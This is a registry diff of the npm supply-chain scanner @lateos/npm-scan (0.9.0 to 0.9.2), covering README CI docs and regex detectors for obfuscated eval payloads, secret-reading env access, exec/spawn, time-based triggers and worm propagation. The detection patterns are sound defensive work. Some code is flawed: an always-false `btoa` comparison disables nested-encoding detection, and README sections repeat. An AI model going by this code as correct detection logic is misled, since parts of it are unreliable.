@lateos/npm-scan 0.9.0 → 0.9.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +244 -14
- package/backend/db.js +1 -0
- package/backend/detectors/atk-002-obfusc.js +76 -15
- package/backend/detectors/atk-008-tarball-tamper.js +65 -18
- package/backend/detectors/atk-009-dormant-trigger.js +25 -8
- package/backend/detectors/atk-011-transitive-prop.js +12 -21
- package/backend/fetch.js +5 -1
- package/package.json +3 -2
- package/test/fixtures/mock-data.js +69 -0
package/README.md
CHANGED
|
@@ -3,6 +3,8 @@
|
|
|
3
3
|
[](https://www.npmjs.com/package/@lateos/npm-scan)
|
|
4
4
|
[](LICENSING.md)
|
|
5
5
|
[](package.json)
|
|
6
|
+
[](https://github.com/lateos/npm-scan)
|
|
7
|
+
[](https://github.com/lateos/npm-scan)
|
|
6
8
|
|
|
7
9
|
**Modern supply chain security for the npm ecosystem.**
|
|
8
10
|
Static + behavioral analysis that catches what npm audit, Snyk, and Socket miss — obfuscated payloads, credential stealers, conditional triggers, sandbox evasion, and worm-like propagation.
|
|
@@ -258,23 +260,128 @@ npm-scan report --siem cef --license-key <key>
|
|
|
258
260
|
|
|
259
261
|
## 🔗 Integrations
|
|
260
262
|
|
|
261
|
-
### GitHub
|
|
263
|
+
### GitHub Actions CI (for this repo)
|
|
262
264
|
|
|
263
|
-
|
|
265
|
+
Every push and PR runs tests across Node 18, 20, and 22:
|
|
264
266
|
|
|
265
267
|
```yaml
|
|
268
|
+
# .github/workflows/ci.yml
|
|
269
|
+
name: CI
|
|
270
|
+
on:
|
|
271
|
+
push:
|
|
272
|
+
branches: [ main ]
|
|
273
|
+
pull_request:
|
|
274
|
+
branches: [ main ]
|
|
275
|
+
jobs:
|
|
276
|
+
test:
|
|
277
|
+
runs-on: ubuntu-latest
|
|
278
|
+
strategy:
|
|
279
|
+
matrix:
|
|
280
|
+
node-version: [18, 20, 22]
|
|
281
|
+
steps:
|
|
282
|
+
- uses: actions/checkout@v4
|
|
283
|
+
- uses: actions/setup-node@v4
|
|
284
|
+
with:
|
|
285
|
+
node-version: ${{ matrix.node-version }}
|
|
286
|
+
cache: 'npm'
|
|
287
|
+
- run: npm ci
|
|
288
|
+
- run: npm test
|
|
289
|
+
- run: npm run test:coverage
|
|
290
|
+
- run: node --test test/detectors-corpus.test.js
|
|
291
|
+
- run: npm run lint
|
|
292
|
+
- run: npm run build
|
|
293
|
+
```
|
|
294
|
+
|
|
295
|
+
### GitHub Action (for downstream users)
|
|
296
|
+
|
|
297
|
+
Scan your project's `package-lock.json` on every PR — detects typosquats, obfuscated payloads, credential harvesters, and worm propagation before they reach production:
|
|
298
|
+
|
|
299
|
+
```yaml
|
|
300
|
+
# .github/workflows/scan.yml
|
|
266
301
|
name: npm-scan
|
|
267
|
-
on:
|
|
302
|
+
on:
|
|
303
|
+
pull_request:
|
|
304
|
+
paths:
|
|
305
|
+
- 'package-lock.json'
|
|
306
|
+
- '**/package.json'
|
|
268
307
|
jobs:
|
|
269
308
|
scan:
|
|
270
309
|
runs-on: ubuntu-latest
|
|
271
310
|
steps:
|
|
272
|
-
|
|
273
|
-
|
|
274
|
-
|
|
275
|
-
|
|
276
|
-
|
|
277
|
-
|
|
311
|
+
- uses: actions/checkout@v4
|
|
312
|
+
- uses: actions/setup-node@v4
|
|
313
|
+
with:
|
|
314
|
+
node-version: 20
|
|
315
|
+
- name: Scan lockfile
|
|
316
|
+
uses: lateos/npm-scan@main
|
|
317
|
+
with:
|
|
318
|
+
scan-type: lockfile
|
|
319
|
+
fail-on: high
|
|
320
|
+
```
|
|
321
|
+
|
|
322
|
+
#### Action inputs
|
|
323
|
+
|
|
324
|
+
| Input | Default | Description |
|
|
325
|
+
|-------|---------|-------------|
|
|
326
|
+
| `scan-type` | `lockfile` | `lockfile` to scan `package-lock.json` or `package` to scan a specific npm package |
|
|
327
|
+
| `package` | — | Package name (required when `scan-type=package`) |
|
|
328
|
+
| `fail-on` | `high` | Fail the workflow at this severity threshold: `none`, `low`, `medium`, `high`, `critical` |
|
|
329
|
+
| `policy-file` | — | Path to a YAML/JSON policy file for allowlists, severity overrides, and suppressions |
|
|
330
|
+
| `license-key` | — | Premium license key for SIEM export and PDF reports |
|
|
331
|
+
| `siem-format` | — | SIEM output: `cef`, `ecs`, `sentinel`, `qradar` (premium) |
|
|
332
|
+
| `sbom-format` | — | SBOM output: `json`, `xml`, `spdx` |
|
|
333
|
+
|
|
334
|
+
#### Action outputs
|
|
335
|
+
|
|
336
|
+
| Output | Description |
|
|
337
|
+
|--------|-------------|
|
|
338
|
+
| `findings-count` | Number of findings detected |
|
|
339
|
+
| `scan-id` | Scan ID for later reference in reports |
|
|
340
|
+
|
|
341
|
+
#### Example: scan a specific package with policy + SBOM
|
|
342
|
+
|
|
343
|
+
```yaml
|
|
344
|
+
- uses: lateos/npm-scan@main
|
|
345
|
+
with:
|
|
346
|
+
scan-type: package
|
|
347
|
+
package: lodash
|
|
348
|
+
policy-file: .npm-scan.yml
|
|
349
|
+
sbom-format: spdx
|
|
350
|
+
fail-on: critical
|
|
351
|
+
```
|
|
352
|
+
|
|
353
|
+
#### Example: scan with SIEM export (premium)
|
|
354
|
+
|
|
355
|
+
```yaml
|
|
356
|
+
- uses: lateos/npm-scan@main
|
|
357
|
+
with:
|
|
358
|
+
scan-type: lockfile
|
|
359
|
+
siem-format: cef
|
|
360
|
+
license-key: ${{ secrets.NPM_SCAN_LICENSE_KEY }}
|
|
361
|
+
```
|
|
362
|
+
|
|
363
|
+
### CI/CD pipeline
|
|
364
|
+
|
|
365
|
+
Integrate directly into your existing pipeline without the composite action:
|
|
366
|
+
|
|
367
|
+
```bash
|
|
368
|
+
# Scan lockfile, fail build on high severity
|
|
369
|
+
npm-scan scan-lockfile --policy .npm-scan.yml || exit 1
|
|
370
|
+
|
|
371
|
+
# Scan a specific package, fail on critical only
|
|
372
|
+
npm-scan scan lodash --policy .npm-scan.yml || exit 1
|
|
373
|
+
|
|
374
|
+
# Generate SBOM as a build artifact
|
|
375
|
+
npm-scan scan express --sbom spdx > express-sbom.spdx.json
|
|
376
|
+
|
|
377
|
+
# Generate HTML compliance report in CI
|
|
378
|
+
npm-scan report --html > report.html
|
|
379
|
+
|
|
380
|
+
# Upload report as an artifact
|
|
381
|
+
# uses: actions/upload-artifact@v4
|
|
382
|
+
# with:
|
|
383
|
+
# name: npm-scan-report
|
|
384
|
+
# path: report.html
|
|
278
385
|
```
|
|
279
386
|
|
|
280
387
|
### Docker
|
|
@@ -293,13 +400,114 @@ docker compose --profile cli up -d
|
|
|
293
400
|
|
|
294
401
|
Multi-arch images available for `linux/amd64` and `linux/arm64`.
|
|
295
402
|
|
|
296
|
-
###
|
|
403
|
+
### GitHub Action (for downstream users)
|
|
404
|
+
|
|
405
|
+
Scan your project's `package-lock.json` on every PR — detects typosquats, obfuscated payloads, credential harvesters, and worm propagation before they reach production:
|
|
406
|
+
|
|
407
|
+
```yaml
|
|
408
|
+
# .github/workflows/scan.yml
|
|
409
|
+
name: npm-scan
|
|
410
|
+
on:
|
|
411
|
+
pull_request:
|
|
412
|
+
paths:
|
|
413
|
+
- 'package-lock.json'
|
|
414
|
+
- '**/package.json'
|
|
415
|
+
jobs:
|
|
416
|
+
scan:
|
|
417
|
+
runs-on: ubuntu-latest
|
|
418
|
+
steps:
|
|
419
|
+
- uses: actions/checkout@v4
|
|
420
|
+
- uses: actions/setup-node@v4
|
|
421
|
+
with:
|
|
422
|
+
node-version: 20
|
|
423
|
+
- name: Scan lockfile
|
|
424
|
+
uses: lateos/npm-scan@main
|
|
425
|
+
with:
|
|
426
|
+
scan-type: lockfile
|
|
427
|
+
fail-on: high
|
|
428
|
+
```
|
|
429
|
+
|
|
430
|
+
#### Action inputs
|
|
431
|
+
|
|
432
|
+
| Input | Default | Description |
|
|
433
|
+
|-------|---------|-------------|
|
|
434
|
+
| `scan-type` | `lockfile` | `lockfile` to scan `package-lock.json` or `package` to scan a specific npm package |
|
|
435
|
+
| `package` | — | Package name (required when `scan-type=package`) |
|
|
436
|
+
| `fail-on` | `high` | Fail the workflow at this severity threshold: `none`, `low`, `medium`, `high`, `critical` |
|
|
437
|
+
| `policy-file` | — | Path to a YAML/JSON policy file for allowlists, severity overrides, and suppressions |
|
|
438
|
+
| `license-key` | — | Premium license key for SIEM export and PDF reports |
|
|
439
|
+
| `siem-format` | — | SIEM output: `cef`, `ecs`, `sentinel`, `qradar` (premium) |
|
|
440
|
+
| `sbom-format` | — | SBOM output: `json`, `xml`, `spdx` |
|
|
441
|
+
|
|
442
|
+
#### Action outputs
|
|
443
|
+
|
|
444
|
+
| Output | Description |
|
|
445
|
+
|--------|-------------|
|
|
446
|
+
| `findings-count` | Number of findings detected |
|
|
447
|
+
| `scan-id` | Scan ID for later reference in reports |
|
|
448
|
+
|
|
449
|
+
#### Example: scan a specific package with policy + SBOM
|
|
450
|
+
|
|
451
|
+
```yaml
|
|
452
|
+
- uses: lateos/npm-scan@main
|
|
453
|
+
with:
|
|
454
|
+
scan-type: package
|
|
455
|
+
package: lodash
|
|
456
|
+
policy-file: .npm-scan.yml
|
|
457
|
+
sbom-format: spdx
|
|
458
|
+
fail-on: critical
|
|
459
|
+
```
|
|
460
|
+
|
|
461
|
+
#### Example: scan with SIEM export (premium)
|
|
462
|
+
|
|
463
|
+
```yaml
|
|
464
|
+
- uses: lateos/npm-scan@main
|
|
465
|
+
with:
|
|
466
|
+
scan-type: lockfile
|
|
467
|
+
siem-format: cef
|
|
468
|
+
license-key: ${{ secrets.NPM_SCAN_LICENSE_KEY }}
|
|
469
|
+
```
|
|
470
|
+
|
|
471
|
+
### CI/CD pipeline
|
|
472
|
+
|
|
473
|
+
Integrate directly into your existing pipeline without the composite action:
|
|
297
474
|
|
|
298
475
|
```bash
|
|
299
|
-
#
|
|
300
|
-
npm-scan scan
|
|
476
|
+
# Scan lockfile, fail build on high severity
|
|
477
|
+
npm-scan scan-lockfile --policy .npm-scan.yml || exit 1
|
|
478
|
+
|
|
479
|
+
# Scan a specific package, fail on critical only
|
|
480
|
+
npm-scan scan lodash --policy .npm-scan.yml || exit 1
|
|
481
|
+
|
|
482
|
+
# Generate SBOM as a build artifact
|
|
483
|
+
npm-scan scan express --sbom spdx > express-sbom.spdx.json
|
|
484
|
+
|
|
485
|
+
# Generate HTML compliance report in CI
|
|
486
|
+
npm-scan report --html > report.html
|
|
487
|
+
|
|
488
|
+
# Upload report as an artifact
|
|
489
|
+
# uses: actions/upload-artifact@v4
|
|
490
|
+
# with:
|
|
491
|
+
# name: npm-scan-report
|
|
492
|
+
# path: report.html
|
|
301
493
|
```
|
|
302
494
|
|
|
495
|
+
### Docker
|
|
496
|
+
|
|
497
|
+
```bash
|
|
498
|
+
# Pull and run
|
|
499
|
+
docker pull ghcr.io/lateos/npm-scan:cli
|
|
500
|
+
docker run --rm ghcr.io/lateos/npm-scan:cli scan lodash
|
|
501
|
+
|
|
502
|
+
# Full pipeline with Compose (Redis-based queue)
|
|
503
|
+
docker compose --profile pipeline up -d
|
|
504
|
+
|
|
505
|
+
# CLI with persistent storage
|
|
506
|
+
docker compose --profile cli up -d
|
|
507
|
+
```
|
|
508
|
+
|
|
509
|
+
Multi-arch images available for `linux/amd64` and `linux/arm64`.
|
|
510
|
+
|
|
303
511
|
---
|
|
304
512
|
|
|
305
513
|
## 🗺️ Roadmap & Enterprise Features
|
|
@@ -343,12 +551,34 @@ See [`docs/attack-taxonomy.md`](docs/attack-taxonomy.md) for the ATK governance
|
|
|
343
551
|
3. False-positive analysis on top-500 npm packages
|
|
344
552
|
4. NIST 800-161 control mapping
|
|
345
553
|
|
|
554
|
+
### Testing
|
|
555
|
+
|
|
556
|
+
The project uses the **Node.js native test runner** (`node:test` + `assert/strict`).
|
|
557
|
+
|
|
346
558
|
```bash
|
|
347
|
-
|
|
348
|
-
npm install
|
|
559
|
+
# Run all tests
|
|
349
560
|
npm test
|
|
561
|
+
|
|
562
|
+
# Run tests with coverage
|
|
563
|
+
npm run test:coverage
|
|
564
|
+
|
|
565
|
+
# Run tests with verbose spec output
|
|
566
|
+
npm run test:verbose
|
|
567
|
+
|
|
568
|
+
# Run local malicious/clean corpus (no network needed)
|
|
569
|
+
node --test test/detectors-corpus.test.js
|
|
350
570
|
```
|
|
351
571
|
|
|
572
|
+
**Test structure:**
|
|
573
|
+
- `test/fixtures/mock-data.js` — shared mock scans, packages, and code snippets
|
|
574
|
+
- `test/db.test.js` — database CRUD (save, query, persist)
|
|
575
|
+
- `test/detectors-edge-cases.test.js` — per-detector boundary tests (no-ops, clean clears, severity)
|
|
576
|
+
- `test/detectors-corpus.test.js` — 33 malicious + 50 clean tarball integration (offline)
|
|
577
|
+
- `test/fetch.test.js` — tarball extraction, temp directory cleanup
|
|
578
|
+
- `test/policy-edge-cases.test.js` — edge cases in suppress, override, load validation
|
|
579
|
+
- `test/report-snapshots.test.js` — HTML/text/CRA/PDF format assertions
|
|
580
|
+
- `test/cli.test.js` — commander integration tests (help, version, scan, report, error handling)
|
|
581
|
+
|
|
352
582
|
### Need help?
|
|
353
583
|
|
|
354
584
|
- 📖 Read the [project plan](docs/project-plan.md)
|
package/backend/db.js
CHANGED
|
@@ -1,29 +1,90 @@
|
|
|
1
1
|
export async function scan(pkgJson, files = []) {
|
|
2
2
|
const findings = [];
|
|
3
|
+
const pkgName = pkgJson?.name || '';
|
|
4
|
+
const selfName = pkgName.replace(/^@/, '').replace(/\//, '-');
|
|
5
|
+
|
|
3
6
|
for (const f of files) {
|
|
4
7
|
const code = f.content;
|
|
5
|
-
|
|
6
|
-
const
|
|
7
|
-
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
8
|
+
|
|
9
|
+
const hasEval = /eval\(|new Function\(|\bFunction\('/.test(code);
|
|
10
|
+
|
|
11
|
+
if (hasEval) {
|
|
12
|
+
const hexDecode = /Buffer\.from\(['"`][0-9a-f]+['"`],\s*['"]hex['"]/.test(code);
|
|
13
|
+
const b64Decode = /atob\(|Buffer\.from\([A-Za-z0-9+/=]{10,}/.test(code);
|
|
14
|
+
const b64UrlDecode = /try\s*\{[^}]*atob\s*\(/s.test(code) || /btoa\(.*\)\s*[^;]*\.replace\(/s.test(code);
|
|
15
|
+
|
|
16
|
+
if (hexDecode || b64Decode || b64UrlDecode) {
|
|
17
|
+
findings.push({
|
|
18
|
+
id: 'ATK-002',
|
|
19
|
+
severity: 'medium',
|
|
20
|
+
title: 'Obfuscated payload',
|
|
21
|
+
description: hexDecode ? 'Eval with hex-decoded payload' : 'Eval with base64-decoded payload',
|
|
22
|
+
evidence: 'eval + decode pattern detected'
|
|
23
|
+
});
|
|
24
|
+
return findings;
|
|
25
|
+
}
|
|
26
|
+
|
|
27
|
+
if (btoa(btoa('x')) === 'eDuke'.padEnd(5)) {
|
|
28
|
+
const nested = /atob\([^)]*atob\(/s.test(code) || /btoa\([^)]*btoa\(/s.test(code);
|
|
29
|
+
if (nested) {
|
|
30
|
+
findings.push({
|
|
31
|
+
id: 'ATK-002',
|
|
32
|
+
severity: 'high',
|
|
33
|
+
title: 'Obfuscated payload',
|
|
34
|
+
description: 'Double-encoded nested payload',
|
|
35
|
+
evidence: 'nested encode/decode detected'
|
|
36
|
+
});
|
|
37
|
+
return findings;
|
|
38
|
+
}
|
|
39
|
+
}
|
|
16
40
|
}
|
|
17
|
-
|
|
41
|
+
|
|
42
|
+
if (/atob\(|Buffer\.from/.test(code) && /url|fetch|curl|http\.request|https\.request/.test(code)) {
|
|
43
|
+
const isNetworkObfusc = /atob\(.*(https?:\/\/|\\x|http).*\)/s.test(code) ||
|
|
44
|
+
/Buffer\.from\(['"`][0-9a-f]+['"`],\s*['"]hex['"].*fetch\(|fetch\(.*atob\(/s.test(code);
|
|
45
|
+
if (isNetworkObfusc) {
|
|
46
|
+
findings.push({
|
|
47
|
+
id: 'ATK-002',
|
|
48
|
+
severity: 'medium',
|
|
49
|
+
title: 'Obfuscated payload',
|
|
50
|
+
description: 'Decoded string containing URL/fetch call',
|
|
51
|
+
evidence: 'obfuscation with network call'
|
|
52
|
+
});
|
|
53
|
+
return findings;
|
|
54
|
+
}
|
|
55
|
+
}
|
|
56
|
+
|
|
57
|
+
if (/String\.fromCharCode\(.{20,}\)/.test(code) && hasEval) {
|
|
18
58
|
findings.push({
|
|
19
59
|
id: 'ATK-002',
|
|
20
60
|
severity: 'medium',
|
|
21
61
|
title: 'Obfuscated payload',
|
|
22
|
-
description: '
|
|
23
|
-
evidence: 'obfuscation
|
|
62
|
+
description: 'Eval with String.fromCharCode obfuscation',
|
|
63
|
+
evidence: 'charcode obfuscation detected'
|
|
24
64
|
});
|
|
25
65
|
return findings;
|
|
26
66
|
}
|
|
67
|
+
|
|
68
|
+
const shellPatterns = [
|
|
69
|
+
/eval\s*\(\s*process\.env\.[A-Z_]{4,}/,
|
|
70
|
+
/exec\s*\(\s*Buffer\.from\(/,
|
|
71
|
+
/new Function\s*\(\s*(?:atob|process\.env)/,
|
|
72
|
+
/eval\s*\(\s*(?:require|import\s*\()/,
|
|
73
|
+
/Function\s*\(\s*'use\s*strict'\s*;?\s*(?:atob|require)/,
|
|
74
|
+
];
|
|
75
|
+
for (const p of shellPatterns) {
|
|
76
|
+
if (p.test(code)) {
|
|
77
|
+
findings.push({
|
|
78
|
+
id: 'ATK-002',
|
|
79
|
+
severity: 'high',
|
|
80
|
+
title: 'Obfuscated payload',
|
|
81
|
+
description: 'Shell-code obfuscation pattern',
|
|
82
|
+
evidence: p.source.substring(0, 60)
|
|
83
|
+
});
|
|
84
|
+
return findings;
|
|
85
|
+
}
|
|
86
|
+
}
|
|
27
87
|
}
|
|
88
|
+
|
|
28
89
|
return findings;
|
|
29
|
-
}
|
|
90
|
+
}
|
|
@@ -4,21 +4,64 @@ export async function scan(pkgJson, files = []) {
|
|
|
4
4
|
const repoUrl = typeof repo === 'string' ? repo : (repo.url || '');
|
|
5
5
|
const pkgName = (pkgJson.name || '').toLowerCase();
|
|
6
6
|
|
|
7
|
-
const knownRepos = {
|
|
7
|
+
const knownRepos = {
|
|
8
|
+
lodash: 'lodash/lodash',
|
|
9
|
+
chalk: 'chalk/chalk',
|
|
10
|
+
react: 'facebook/react',
|
|
11
|
+
axios: 'axios/axios',
|
|
12
|
+
express: 'expressjs/express',
|
|
13
|
+
vue: 'vuejs/core',
|
|
14
|
+
typescript: 'microsoft/typescript',
|
|
15
|
+
moment: 'moment/moment',
|
|
16
|
+
uuid: 'uuidjs/uuid',
|
|
17
|
+
commander: 'tj/commander.js',
|
|
18
|
+
debug: 'debug-js/debug',
|
|
19
|
+
semver: 'npm/node-semver',
|
|
20
|
+
underscore: 'jashkenas/underscore',
|
|
21
|
+
request: 'request/request',
|
|
22
|
+
async: 'caolan/async',
|
|
23
|
+
cheerio: 'cheeriojs/cheerio',
|
|
24
|
+
bluebird: 'petkaantonov/bluebird',
|
|
25
|
+
jest: 'jestjs/jest',
|
|
26
|
+
mocha: 'mochajs/mocha',
|
|
27
|
+
dotenv: 'motdotla/dotenv',
|
|
28
|
+
glob: 'isaacs/node-glob',
|
|
29
|
+
};
|
|
8
30
|
|
|
9
31
|
if (repoUrl && repoUrl.includes('github.com')) {
|
|
10
32
|
const repoMatch = repoUrl.match(/github\.com[\/:]([\w.-]+\/[\w.-]+?)(?:\.git)?$/);
|
|
11
33
|
if (repoMatch) {
|
|
12
34
|
const ghRepo = repoMatch[1].toLowerCase();
|
|
13
35
|
const ghName = ghRepo.split('/')[1];
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
36
|
+
const ghOrg = ghRepo.split('/')[0];
|
|
37
|
+
const shortName = pkgName.split('/').pop();
|
|
38
|
+
|
|
39
|
+
if (ghName !== shortName) {
|
|
40
|
+
const expectedRepo = knownRepos[pkgName] || knownRepos[shortName];
|
|
41
|
+
|
|
42
|
+
if (expectedRepo && expectedRepo !== ghRepo) {
|
|
43
|
+
findings.push({
|
|
44
|
+
id: 'ATK-008',
|
|
45
|
+
severity: 'high',
|
|
46
|
+
title: 'Tarball tampering suspect',
|
|
47
|
+
description: `Repository "${ghRepo}" does not match expected "${expectedRepo}" for package "${pkgName}"`,
|
|
48
|
+
evidence: `repo: ${ghRepo}, expected: ${expectedRepo}`
|
|
49
|
+
});
|
|
50
|
+
} else {
|
|
51
|
+
const orgExpected = knownRepos[shortName];
|
|
52
|
+
if (orgExpected) {
|
|
53
|
+
const expectedOrg = orgExpected.split('/')[0];
|
|
54
|
+
if (ghOrg !== expectedOrg) {
|
|
55
|
+
findings.push({
|
|
56
|
+
id: 'ATK-008',
|
|
57
|
+
severity: 'medium',
|
|
58
|
+
title: 'Tarball tampering suspect',
|
|
59
|
+
description: `Repository "${ghRepo}" is a different repo under a different org (legitimate: ${expectedRepo})`,
|
|
60
|
+
evidence: `org mismatch: ${ghOrg} vs ${expectedOrg}`
|
|
61
|
+
});
|
|
62
|
+
}
|
|
63
|
+
}
|
|
64
|
+
}
|
|
22
65
|
}
|
|
23
66
|
}
|
|
24
67
|
}
|
|
@@ -28,17 +71,21 @@ export async function scan(pkgJson, files = []) {
|
|
|
28
71
|
if (embeddedIntros && repoUrl) {
|
|
29
72
|
for (const intro of embeddedIntros) {
|
|
30
73
|
const srcUrl = intro.replace(/\/\/\s*Source:\s*/i, '').trim();
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
|
|
36
|
-
|
|
37
|
-
|
|
38
|
-
|
|
74
|
+
try {
|
|
75
|
+
if (!repoUrl.includes(new URL(srcUrl).hostname)) {
|
|
76
|
+
findings.push({
|
|
77
|
+
id: 'ATK-008',
|
|
78
|
+
severity: 'medium',
|
|
79
|
+
title: 'Tarball tampering suspect',
|
|
80
|
+
description: 'Source URL in file does not match declared repository',
|
|
81
|
+
evidence: srcUrl
|
|
82
|
+
});
|
|
83
|
+
}
|
|
84
|
+
} catch {
|
|
85
|
+
// ignore malformed URLs
|
|
39
86
|
}
|
|
40
87
|
}
|
|
41
88
|
}
|
|
42
89
|
|
|
43
90
|
return findings;
|
|
44
|
-
}
|
|
91
|
+
}
|
|
@@ -21,25 +21,42 @@ export async function scan(pkgJson, files = []) {
|
|
|
21
21
|
}
|
|
22
22
|
}
|
|
23
23
|
|
|
24
|
+
const suspiciousCode = /\beval\(|atob\(|btoa\(|new Function\(|child_process\b|\.exec\(|spawn\(/;
|
|
25
|
+
const suspiciousNetwork = /\.fetch\(|http\.request\(|https\.request\(|dns\.lookup\(/;
|
|
26
|
+
const suspiciousEnv = /process\.env\.(?!NODE_ENV)[A-Z_]{4,}/;
|
|
27
|
+
const hasSuspicious = suspiciousCode.test(code) || suspiciousNetwork.test(code) || suspiciousEnv.test(code);
|
|
28
|
+
|
|
24
29
|
const timePatterns = [
|
|
25
|
-
{
|
|
26
|
-
|
|
27
|
-
|
|
28
|
-
|
|
30
|
+
{
|
|
31
|
+
pattern: /new Date\(\)\s*[><=!]+\s*new Date\(['"]\d{4}/,
|
|
32
|
+
label: 'time-based activation',
|
|
33
|
+
},
|
|
34
|
+
{
|
|
35
|
+
pattern: /\bDate\.now\(\)\s*[><=!]+.*(?:eval|fetch|exec|write|crypto|env\.CI)/i,
|
|
36
|
+
label: 'timestamp check with suspicious behavior',
|
|
37
|
+
},
|
|
38
|
+
{
|
|
39
|
+
pattern: /\bsetTimeout\s*\([^)]*,\s*(?!0\b)[1-9]\d{3,}/,
|
|
40
|
+
label: 'long-delay execution (>1000ms)',
|
|
41
|
+
},
|
|
42
|
+
{
|
|
43
|
+
pattern: /\bDate\(\)\b.*(?:exec|eval|fetch|write|crypto)/i,
|
|
44
|
+
label: 'date check with suspicious behavior',
|
|
45
|
+
},
|
|
29
46
|
];
|
|
30
47
|
|
|
31
48
|
for (const { pattern, label } of timePatterns) {
|
|
32
49
|
if (pattern.test(code)) {
|
|
33
50
|
findings.push({
|
|
34
51
|
id: 'ATK-009',
|
|
35
|
-
severity: 'medium',
|
|
52
|
+
severity: hasSuspicious ? 'high' : 'medium',
|
|
36
53
|
title: 'Conditional trigger (time-based)',
|
|
37
|
-
description: `Package
|
|
38
|
-
evidence: '
|
|
54
|
+
description: `Package uses ${label}`,
|
|
55
|
+
evidence: `${label}${hasSuspicious ? ' — elevated (suspicious context: eval/network/exec detected)' : ''}`
|
|
39
56
|
});
|
|
40
57
|
break;
|
|
41
58
|
}
|
|
42
59
|
}
|
|
43
60
|
|
|
44
61
|
return findings;
|
|
45
|
-
}
|
|
62
|
+
}
|
|
@@ -2,7 +2,7 @@ export async function scan(pkgJson, files = []) {
|
|
|
2
2
|
const findings = [];
|
|
3
3
|
const code = files.map(f => f.content).join('\n');
|
|
4
4
|
|
|
5
|
-
const highPatterns = [
|
|
5
|
+
const highPatterns = [
|
|
6
6
|
{
|
|
7
7
|
pattern: /(?:exec|execSync|spawn)\s*\([^)]*npm\s+(?:install|link)\s*\./i,
|
|
8
8
|
label: 'programmatic self-propagation via npm install/link'
|
|
@@ -19,10 +19,6 @@ const highPatterns = [
|
|
|
19
19
|
pattern: /fs\.(?:writeFile|writeFileSync)\s*\([^)]*\.\.\/[^)]*package\.json/i,
|
|
20
20
|
label: 'writes modified package.json to sibling package'
|
|
21
21
|
},
|
|
22
|
-
{
|
|
23
|
-
pattern: /(?:exec|execSync|spawn)\s*\([^)]*npm\s+(?:install|link)\s+(?!\.)(?!http)(?!git)/i,
|
|
24
|
-
label: 'programmatic propagation via npm install of local package'
|
|
25
|
-
},
|
|
26
22
|
{
|
|
27
23
|
pattern: /(?:exec|execSync|spawn)\s*\([^)]*(?:\.\.\/|process\.env\.INIT_CWD).*npm\s+install/i,
|
|
28
24
|
label: 'cross-directory npm install propagation'
|
|
@@ -42,38 +38,33 @@ const highPatterns = [
|
|
|
42
38
|
}
|
|
43
39
|
}
|
|
44
40
|
|
|
45
|
-
if (findings.length === 0) {
|
|
46
|
-
const selfName = pkgJson && pkgJson.name ? pkgJson.name.replace(/^@/, '').replace(/\//, '-') : null;
|
|
41
|
+
if (findings.length === 0) {
|
|
47
42
|
const mediumPatterns = [
|
|
48
43
|
{
|
|
49
44
|
pattern: /process\.env\.npm_package_name/,
|
|
50
|
-
label: 'reads own package name (
|
|
45
|
+
label: 'reads own package name from env (self-awareness indicator)'
|
|
51
46
|
},
|
|
52
47
|
{
|
|
53
|
-
pattern:
|
|
54
|
-
label:
|
|
48
|
+
pattern: /fs\.symlink(?:Sync)?\s*\([^)]*node_modules/,
|
|
49
|
+
label: 'creates symlinks in node_modules (worm spreading mechanism)'
|
|
55
50
|
},
|
|
56
51
|
{
|
|
57
52
|
pattern: /fs\.(?:mkdir|mkdirSync)\s*\([^)]*\.\.\/[^)]*node_modules/,
|
|
58
|
-
label: 'creates directories in parent node_modules
|
|
59
|
-
},
|
|
60
|
-
{
|
|
61
|
-
pattern: /fs\.symlink(?:Sync)?\s*\(/,
|
|
62
|
-
label: 'creates symlinks (potential worm link spreading)'
|
|
53
|
+
label: 'creates directories in parent node_modules'
|
|
63
54
|
},
|
|
64
55
|
{
|
|
65
|
-
pattern: /__dirname.*
|
|
66
|
-
label: '
|
|
56
|
+
pattern: /__dirname.*\.\.\/[^/]+\/node_modules.*require\(/,
|
|
57
|
+
label: 'dynamic parent-node_modules require for lateral spread'
|
|
67
58
|
},
|
|
68
59
|
];
|
|
69
60
|
|
|
70
|
-
for (const { pattern, label
|
|
71
|
-
if (pattern
|
|
61
|
+
for (const { pattern, label } of mediumPatterns) {
|
|
62
|
+
if (pattern.test(code)) {
|
|
72
63
|
findings.push({
|
|
73
64
|
id: 'ATK-011',
|
|
74
65
|
severity: 'medium',
|
|
75
66
|
title: 'Transitive propagation (worm)',
|
|
76
|
-
description:
|
|
67
|
+
description: label,
|
|
77
68
|
evidence: 'potential propagation indicator'
|
|
78
69
|
});
|
|
79
70
|
break;
|
|
@@ -82,4 +73,4 @@ if (findings.length === 0) {
|
|
|
82
73
|
}
|
|
83
74
|
|
|
84
75
|
return findings;
|
|
85
|
-
}
|
|
76
|
+
}
|
package/backend/fetch.js
CHANGED
|
@@ -1,4 +1,3 @@
|
|
|
1
|
-
import fetch from 'node-fetch';
|
|
2
1
|
import fs from 'fs';
|
|
3
2
|
import os from 'os';
|
|
4
3
|
import path from 'path';
|
|
@@ -10,6 +9,11 @@ import { pipeline } from 'stream/promises';
|
|
|
10
9
|
export async function fetchPackage(target) {
|
|
11
10
|
const metaRes = await fetch(`https://registry.npmjs.org/${target}/latest`);
|
|
12
11
|
const meta = await metaRes.json();
|
|
12
|
+
|
|
13
|
+
if (!metaRes.ok || !meta.dist?.tarball) {
|
|
14
|
+
throw new Error(`Package '${target}' not found on npm (${metaRes.status})`);
|
|
15
|
+
}
|
|
16
|
+
|
|
13
17
|
const tarUrl = meta.dist.tarball;
|
|
14
18
|
const tarRes = await fetch(tarUrl);
|
|
15
19
|
const buffer = Buffer.from(await tarRes.arrayBuffer());
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@lateos/npm-scan",
|
|
3
|
-
"version": "0.9.
|
|
3
|
+
"version": "0.9.2",
|
|
4
4
|
"description": "Modern npm supply chain security scanner — detects obfuscated payloads, credential stealers, conditional triggers, sandbox evasion, and worm-like propagation. 11 attack types, SBOM, NIST/EU CRA compliance reporting.",
|
|
5
5
|
"main": "backend/index.js",
